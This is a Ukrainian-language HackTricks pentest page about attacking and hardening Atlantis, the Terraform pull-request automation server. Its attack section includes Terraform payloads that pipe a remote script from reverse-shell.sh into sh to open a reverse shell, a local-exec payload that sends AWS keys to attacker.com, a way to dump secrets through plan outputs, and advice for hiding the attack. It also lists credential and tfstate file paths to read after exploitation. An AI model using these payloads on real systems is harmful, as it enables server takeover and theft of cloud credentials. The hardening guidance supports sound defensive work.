Atlantis Security

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Якщо ви хочете побачити вашу компанію рекламовану на HackTricks або завантажити HackTricks у форматі PDF, перевірте ПЛАНИ ПІДПИСКИ!
Отримайте офіційний PEASS & HackTricks мерч
Відкрийте для себе Сім'ю PEASS, нашу колекцію ексклюзивних NFT
Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за мною на Twitter 🐦 @hacktricks_live.
Поділіться своїми хакерськими трюками, надсилайте PR до HackTricks та HackTricks Cloud репозиторіїв.

Основна інформація

Атлантіс, в основному, допомагає вам запускати terraform з Pull Requests з вашого git сервера.

Локальна лабораторія

Перейдіть на сторінку релізів атлантісу за посиланням https://github.com/runatlantis/atlantis/releases та завантажте той, який вам підходить.
Створіть особистий токен (з доступом до репозиторіїв) вашого github користувача.
Виконайте ./atlantis testdrive, і він створить демо-репозиторій, який ви можете використовувати для спілкування з атлантісом.
Ви можете отримати доступ до веб-сторінки за адресою 127.0.0.1:4141

Доступ до Atlantis

Облікові дані Git сервера

Atlantis підтримує кілька git хостів, таких як Github, Gitlab, Bitbucket та Azure DevOps. Однак, для доступу до репозиторіїв на цих платформах та виконання дій, йому потрібно мати деякий привілейований доступ, наданий їм (принаймні права на запис). Документація рекомендує створити користувача на цих платформах спеціально для Atlantis, але деякі люди можуть використовувати особисті облікові записи.

У будь-якому випадку, з точки зору атакувальника, акаунт Atlantis буде дуже цікавим для компрометації.

Вебхуки

Атлантіс використовує необов'язково секрети вебхуків, щоб перевірити, що вебхуки, які він отримує від вашого Git хоста, є легітимними.

Один з способів підтвердити це - дозволити запити лише з IP-адрес вашого Git хоста, але простіший спосіб - використовувати секрет вебхука.

Зверніть увагу, що, якщо ви не використовуєте приватний github або bitbucket сервер, вам потрібно буде викласти вебхук-точки в Інтернет.

Атлантіс буде викладати вебхуки, щоб git сервер міг надсилати йому інформацію. З точки зору атакувальника буде цікаво знати, чи можна надсилати йому повідомлення.

Облікові дані постачальника

З документації:

Атлантіс запускає Terraform, просто виконуючи команди terraform plan та apply на сервері, на якому розміщений Atlantis. Точно так само, як при локальному запуску Terraform, Atlantis потребує облікових даних для вашого конкретного постачальника.

Це залежить від вас, як ви надаєте облікові дані для вашого конкретного постачальника Atlantis:

Чарт Helm Atlantis та Модуль AWS Fargate мають власні механізми для облікових даних постачальника. Прочитайте їх документацію.
Якщо ви запускаєте Atlantis у хмарі, то у багатьох хмарах є способи надання доступу до API хмари додаткам, які на них працюють, наприклад:
Ролі EC2 AWS (Шукайте "EC2 Role")
Службові облікові записи екземплярів GCE
Багато користувачів встановлюють змінні середовища, наприклад, AWS_ACCESS_KEY, де працює Atlantis.
Інші створюють необхідні файли конфігурації, наприклад, ~/.aws/credentials, де працює Atlantis.
Використовуйте Постачальника Vault HashiCorp, щоб отримати облікові дані постачальника.

Контейнер, де Atlantis працює, велика ймовірність, що містить привілейовані облікові дані для постачальників (AWS, GCP, Github...), якими управляє Atlantis через Terraform.

Веб-сторінка

За замовчуванням Atlantis буде запускати веб-сторінку на порту 4141 на локальному хості. Ця сторінка лише дозволяє вам увімкнути/вимкнути застосування атлантісу та перевірити статус плану репозиторіїв та розблокувати їх (це не дозволяє змінювати речі, тому воно не дуже корисне).

Ймовірно, ви не знайдете його викладеним в Інтернет, але, схоже, за замовчуванням не потрібні облікові дані для доступу до нього (і якщо вони потрібні, atlantis:atlantis - за замовчуванням).

Налаштування сервера

Налаштування для atlantis server можна вказати через прапорці командного рядка, змінні середовища, файл конфігурації або комбінацію трьох.

Ви можете знайти тут список прапорців, які підтримує сервер Atlantis
Ви можете знайти тут, як перетворити параметр конфігурації в змінну середовища

Значення вибираються в такому порядку:

Прапорці
Змінні середовища
Файл конфігурації

Зверніть увагу, що в налаштуваннях ви можете знайти цікаві значення, такі як токени та паролі.

Налаштування репозиторіїв

Деякі налаштування впливають на спосіб керування репозиторіями. Однак можливо, що кожен репозиторій вимагає різних налаштувань, тому є способи вказати кожен репозиторій. Це порядок пріоритету:

Файл /atlantis.yml репозиторію. Цей файл може бути використаний для вказання того, як атлантіс повинен обробляти репозиторій. Однак за замовчуванням деякі ключі не можуть бути вказані тут без деяких прапорців, що дозволяють це.
Ймовірно, потрібно дозволити за допомогою прапорців, таких як allowed_overrides або allow_custom_workflows
Конфігурація на стороні сервера: Ви можете передати її за допомогою прапорця --repo-config, і це yaml, що налаштовує нові параметри для кожного репозиторію (підтримуються регулярні вирази)
За замовчуванням значення

Захист PR

Atlantis дозволяє вказати, чи хочете ви, щоб PR був затверджений кимось іншим (навіть якщо це не встановлено в захисті гілки) і/або був злитий (пройшли захисти гілки) перед запуском apply. З точки зору безпеки рекомендується встановити обидві опції.

У випадку, якщо allowed_overrides встановлено на True, ці налаштування можуть бути перезаписані на кожному проекті за допомогою файлу /atlantis.yml.

Сценарії

Конфігурація репозиторію може вказати сценарії, які виконуються перед (pre workflow hooks) та після (post workflow hooks) виконання робочого процесу.

Немає жодної опції, що дозволяє вказати ці сценарії в файлі конфігурації репозиторію /atlantis.yml.

Робочий процес

У конфігурації репозиторію (конфігурація на стороні сервера) можна вказати новий типовий робочий процес, або створити нові користувацькі робочі процеси. Також можна вказати, які репозиторії можуть отримати доступ до створених нових.

Потім можна дозволити файлу atlantis.yaml кожного репозиторію вказати робочий процес, який слід використовувати.

Якщо прапорець конфігурації на стороні сервера allow_custom_workflows встановлено на True, робочі процеси можуть бути вказані в файлі atlantis.yaml кожного репозиторію. Можливо, також потрібно, щоб allowed_overrides також вказував workflow для перезапису робочого процесу, який буде використовуватися. Це фактично надасть RCE на сервері Atlantis будь-якому користувачеві, який може отримати доступ до цього репозиторію.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Перевірка політики Conftest

Atlantis підтримує запуск серверної conftest політики проти виводу плану. Загальні випадки використання цього кроку включають:

Відмова від використання списку модулів
Перевірка атрибутів ресурсу під час створення
Виявлення ненавмисного видалення ресурсів
Запобігання ризикам безпеки (тобто викладання захищених портів у публічний доступ)

Ви можете перевірити, як це налаштувати в документації.

Команди Atlantis

У документації ви можете знайти параметри, які можна використовувати для запуску Atlantis:

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

Атаки

Якщо під час експлуатації ви знаходите цю помилку: Error: Error acquiring the state lock

Ви можете виправити це, виконавши:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Вразливість RCE плану Atlantis - Зміна конфігурації в новому PR

Якщо у вас є права на запис у репозиторії, ви зможете створити нову гілку на ньому та згенерувати PR. Якщо ви можете виконати atlantis plan (або можливо це виконується автоматично) ви зможете виконати RCE всередині сервера Atlantis.

Ви можете це зробити, зробивши Atlantis завантажити зовнішнє джерело даних. Просто вставте пейлоад, подібний наступному, у файл main.tf:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Прихована атака

Ви можете виконати цю атаку ще більш приховано, дотримуючись цих рекомендацій:

Замість того, щоб додавати обернену оболонку безпосередньо до файлу terraform, ви можете завантажити зовнішній ресурс, який містить обернену оболонку:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Ви можете знайти код оболонки rev за посиланням https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

У зовнішньому ресурсі використовуйте функцію ref, щоб приховати код оболонки terraform rev в гілці всередині репозиторію, щось на зразок: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b
Замість створення PR до master для запуску Atlantis, створіть 2 гілки (test1 та test2) і створіть PR з однієї в іншу. Після завершення атаки, просто видаліть PR та гілки.

Atlantis plan Secrets Dump

Ви можете витягти секрети, використані terraform, запустивши atlantis plan (terraform plan), вставивши щось на зразок цього у файл terraform:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis застосовує RCE - Зміна конфігурації в новому PR

Якщо у вас є права на запис у репозиторій, ви зможете створити нову гілку на ньому та згенерувати PR. Якщо ви можете виконати atlantis apply, ви зможете виконати RCE всередині сервера Atlantis.

Проте, зазвичай вам потрібно обійти деякі захисти:

Mergeable: Якщо цей захист встановлений в Atlantis, ви можете запустити atlantis apply лише якщо PR є mergeable (що означає, що захист гілки потрібно обійти).
Перевірте можливі обхіди захисту гілок
Approved: Якщо цей захист встановлений в Atlantis, інший користувач повинен схвалити PR перед тим, як ви зможете запустити atlantis apply
За замовчуванням ви можете зловживати токеном Gitbot для обходу цього захисту

Запуск terraform apply на шкідливий файл Terraform з local-exec. Вам лише потрібно переконатися, що деякий навантаження, подібне до наступних, завершується у файлі main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Виконайте рекомендації з попередньої техніки, щоб виконати цей атаку в більш прихований спосіб.

Впровадження параметрів Terraform

Під час виконання atlantis plan або atlantis apply terraform запускається під-потребу, ви можете передавати команди до terraform з atlantis, закоментувавши щось на зразок:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

Щось, що можна передати, це змінні середовища, які можуть бути корисні для обходу деяких захистів. Перевірте змінні середовища Terraform за посиланням https://www.terraform.io/cli/config/environment-variables

Власний робочий процес

Виконання зловмисних власних команд збірки, вказаних у файлі atlantis.yaml. Atlantis використовує файл atlantis.yaml з гілки запиту на вилучення, не з master. Ця можливість була згадана в попередньому розділі:

Якщо прапорець [**конфігурації з боку сервера**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` встановлено на **True**, робочі процеси можуть бути **вказані** у файлі **`atlantis.yaml`** кожного репозиторію. Також, можливо, потрібно, щоб **`allowed_overrides`** також вказував також **`workflow`**, щоб **перевизначити робочий процес**, який буде використовуватися.

Це фактично дозволить RCE на сервері Atlantis будь-якому користувачеві, який може отримати доступ до цього репозиторію.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Обхід захисту плану/застосування

Якщо прапорець конфігурації на стороні сервера allowed_overrides має налаштований apply_requirements, репозиторію можливо змінити захист плану/застосування для їх обхіду.

repos:
- id: /.*/
apply_requirements: []

Захоплення PR

Якщо хтось надсилає коментарі з командами atlantis plan/apply на ваші дійсні запити на злиття, це призведе до запуску terraform, коли ви цього не хочете.

Більше того, якщо ви не налаштували захист гілки для запиту на переоцінку кожного PR при новому коміті, хтось може написати зловмисні конфігурації (перевірте попередні сценарії) в конфігурації terraform, запустити atlantis plan/apply і отримати RCE.

Ось налаштування в Github для захисту гілок:

Секрет веб-гачка

Якщо вам вдалося вкрасти секрет веб-гачка, який використовується, або якщо не використовується жоден секрет веб-гачка, ви можете викликати веб-гачок Atlantis та викликати команди atlantis безпосередньо.

Bitbucket

Bitbucket Cloud не підтримує секрети веб-гачків. Це може дозволити зловмисникам підробляти запити від Bitbucket. Переконайтеся, що ви дозволяєте лише IP-адреси Bitbucket.

Це означає, що зловмисник може робити фальшиві запити до Atlantis, які виглядають так, ніби вони надходять від Bitbucket.
Якщо ви вказуєте --repo-allowlist, то вони можуть лише підробляти запити, що стосуються цих репозиторіїв, тому найбільша шкода, яку вони можуть завдати, полягає в плануванні/застосуванні на власних репозиторіях.
Щоб цього уникнути, дозвольте IP-адреси Bitbucket (див. IP-адреси IPv4 для вихідних даних).

Післяексплуатація

Якщо вам вдалося отримати доступ до сервера або хоча б ви отримали LFI, є кілька цікавих речей, які варто спробувати прочитати:

/home/atlantis/.git-credentials Містить облікові дані доступу до vcs
/atlantis-data/atlantis.db Містить облікові дані доступу до vcs з більшою інформацією
/atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Файл стану Terraform
Приклад: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
/proc/1/environ Змінні середовища
/proc/[2-20]/cmdline Cmd line atlantis server (може містити чутливі дані)

Заходи запобігання

Не Використовуйте На Публічних Репозиторіях

Оскільки будь-хто може коментувати на публічні запити на злиття, навіть з усіма доступними засобами безпеки, все ще небезпечно запускати Atlantis на публічних репозиторіях без належної конфігурації параметрів безпеки.

Не Використовуйте `--allow-fork-prs`

Якщо ви працюєте з публічним репозиторієм (що не рекомендується, див. вище), ви не повинні встановлювати --allow-fork-prs (за замовчуванням вимкнено), оскільки будь-хто може відкрити запит на злиття зі свого форка до вашого репозиторію.

`--repo-allowlist`

Для роботи Atlantis вам потрібно вказати список репозиторіїв, з яких він буде приймати веб-гачки через прапорець --repo-allowlist. Наприклад:

Конкретні репозиторії: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests
Ваша вся організація: --repo-allowlist=github.com/runatlantis/*
Кожен репозиторій у вашому GitHub Enterprise: --repo-allowlist=github.yourcompany.com/*
Усі репозиторії: --repo-allowlist=*. Корисно, коли ви в захищеній мережі, але небезпечно без встановлення секрету веб-гачка.

Цей прапорець гарантує, що ваша установка Atlantis не використовується з репозиторіями, які ви не контролюєте. Див. atlantis server --help для отримання додаткової інформації.

Захист Планування Terraform

Якщо включення зловмисників, які надсилають запити на злиття зі зловмисним кодом Terraform, є в вашій моделі загроз, вам слід знати, що схвалення terraform apply недостатнє. Є можливість виконати зловмисний код у terraform plan, використовуючи external джерело даних або вказавши зловмисного провайдера. Цей код може витягти ваші облікові дані.

Для запобігання цьому ви можете:

Вбудувати провайдерів у образ Atlantis або хост та заборонити вихід у виробництві.
Реалізувати протокол реєстра провайдерів внутрішньо та заборонити публічний вихід, таким чином ви контролюєте, хто має право на запис до реєстра.
Змініть конфігурацію репозиторію на стороні сервера для перевірки використання заборонених провайдерів або джерел даних або запитів на злиття від не дозволених користувачів. Ви також можете додати додаткову перевірку на цьому етапі, наприклад, вимагаючи "підтвердження" запиту на злиття перед тим, як дозволити продовження plan. Тут може бути корисний Conftest.

Секрети Веб-Гачків

Atlantis повинен працювати з встановленими секретами веб-гачків через змінні середовища $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET. Навіть з встановленим прапорцем --repo-allowlist, без секрету веб-гачка зловмисники можуть робити запити до Atlantis, видаючи себе за репозиторій, який є в списку дозволених. Секрети веб-гачків забезпечують, що запити веб-гачків дійсно надходять від вашого постачальника VCS (GitHub або GitLab).

Якщо ви використовуєте Azure DevOps, замість секретів веб-гачків додайте базове ім'я користувача та пароль.

Базова Аутентифікація Azure DevOps

Azure DevOps підтримує відправку заголовка базової аутентифікації у всіх подіях веб-гачків. Це вимагає використання HTTPS-URL для вашого місцезнаходження веб-гачка.

SSL/HTTPS

Якщо ви використовуєте секрети веб-гачків, але ваш трафік йде через HTTP, то секрети веб-гачків можуть бути вкрадені. Увімкніть SSL/HTTPS за допомогою прапорців --ssl-cert-file та --ssl-key-file.

Увімкнення Аутентифікації на Веб-Сервері Atlantis

Дуже рекомендується увімкнути аутентифікацію у веб-сервісі. Увімкніть BasicAuth, використовуючи прапорець --web-basic-auth=true та налаштуйте ім'я користувача та пароль за допомогою прапорців --web-username=yourUsername та --web-password=yourPassword.

Ви також можете передавати ці значення як змінні середовища ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsername та ATLANTIS_WEB_PASSWORD=yourPassword.

Посилання